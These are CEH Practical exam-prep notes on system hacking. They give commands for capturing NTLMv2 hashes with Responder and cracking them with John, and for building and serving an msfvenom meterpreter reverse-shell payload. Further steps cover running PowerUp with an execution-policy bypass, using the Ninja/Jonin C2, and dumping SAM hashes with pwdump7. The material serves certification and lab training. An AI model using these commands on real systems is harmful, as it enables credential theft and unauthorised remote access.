> For the complete documentation index, see [llms.txt](https://ceh-practical.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ceh-practical.cavementech.com/module-6.-system-hacking/1.-gain-access-to-the-system.md).

# 1. Gain access to the system

## 1. Perform Active Online Attack to Crack the System’s Password using Responder

<figure><img src="/files/mxZt9ie4jHeO91xigaj9" alt=""><figcaption><p>LLMNR is layer 2 UDP 5355. netbios-ns port 137</p></figcaption></figure>

LLMNR (link local multicast name resolution) and NBT-NS (netbios namer service) are used to performe name resolution on the local link.

Responder is LLMNR, NBT-NS, MDNS poisoner. By default the tool only responds to SMB.

check the interfaces

```
ifconfig
```

Now run responder on the interface.

```
sudo responder -I ens33
```

Now when a user on the LAN try to access the unavailable share, responder will capture the hash.

<figure><img src="/files/C8uNXr3SSsJpebX3ArNG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/16eeQ3VYRvGHRtlAdbfh" alt=""><figcaption></figcaption></figure>

logs are stored in /usr/share/responder folder. We will have a hash. Now crack it with John.

on ubuntu you can install john as&#x20;

```
sudo snap install john-the-ripper
sudo john /home/ubuntu/Responder/logs/SMB-NTLMv2-SSP-10.10.10.10.txt
```

## <mark style="color:red;">2. Audit system passwords using Lophtcrack</mark>&#x20;

windows tool. Can crack other password on remote machine if you know a single account utilizing SMB. Use password auditing. use password auditing wizard.

{% embed url="<https://l0phtcrack.gitlab.io/>" %}

## <mark style="color:red;">3. Find Vulnerabilities on exploit sites</mark>

{% embed url="<https://www.exploit-db.com/>" %}

## 4. Gain Access to a Remote System using Reverse Shell Generator

create msfvenom payload

```
msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x64 LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.ex
```

using apache to transfer the file

```
mkdir /var/www/html/share
chmod -R 755 /var/www/html/share
chmod -R www-data:www-data /var/www/html/share
service apche2 start
```

Now run msfconsole&#x20;

```
msfconsole
use exploit/multi/handler
```

set the payload type, port and IP and visit the IP to download the executable. Run it you will get the shell

You can run the following commands in meterpreter.

```
sysinfo  //get system information
```

upload file through meterpreter

the powersploit priv escaltion script./usr/share/windows-resources/powersploit

```
upload PowerUp.ps1 powerup.ps1
```

Now get shell

```
shell
```

Now execute the script

```
powershell -ExecutionPolicy bypass -command ". .\powerup.ps1;invoke-All-Checks"
```

Now exit it and to get a VNC from meterpreter use the following command.

```
run vnc
```

{% embed url="<https://www.revshells.com/>" %}
Also try different shells from rev shells
{% endembed %}

## <mark style="color:red;">5. Gain access to a system using armitage</mark>

GUI based msf

```
service postgresql start
```

Now run armitage from Applications menu. Run intense scan. and then we can create a payload according to our target.

<figure><img src="/files/Nhu4a4ELfKqKtSn5yY7C" alt=""><figcaption></figcaption></figure>

Once the victim opens the payload, we get the session.

## <mark style="color:red;">6. Gain access to system using Ninja Jonin</mark>

Ninja is installed on target and Jonin on attacker machine.

{% embed url="<https://github.com/ErAz7/Ninja>" %}

We need to edit its config file to change the ip and port.

<figure><img src="/files/Qy49DaiAhv4HuKLeSHUY" alt=""><figcaption></figcaption></figure>

Open the Jonin listenere. it will catch the sessions.

```
list  //to list all sessions
connect 1 //to connect to session
//to get to cmd
change
cmd
help //displays help

```

## 7. Buffer Overflow&#x20;

{% embed url="<https://thegreycorner.com/2011/03/11/simple-stack-based-buffer-overflow.html>" %}

{% embed url="<https://notes.cavementech.com/pentesting-quick-reference/buffer-overflow>" %}
Follow the detailed tutorial
{% endembed %}

**Tools required**

{% embed url="<https://github.com/stephenbradshaw/vulnserver>" %}

{% embed url="<https://debugger.immunityinc.com/>" %}

## <mark style="color:red;">8. System  Password hacking</mark>

```
# To Dump Windows SAM file hashes
pwDump7.exe> hashes.txt 
```

### CEH V13 Practical Preparation Course

{% embed url="<https://www.udemy.com/course/ethical-hacker-practical/?referralCode=289CF01CF51246BCAD6C>" %}
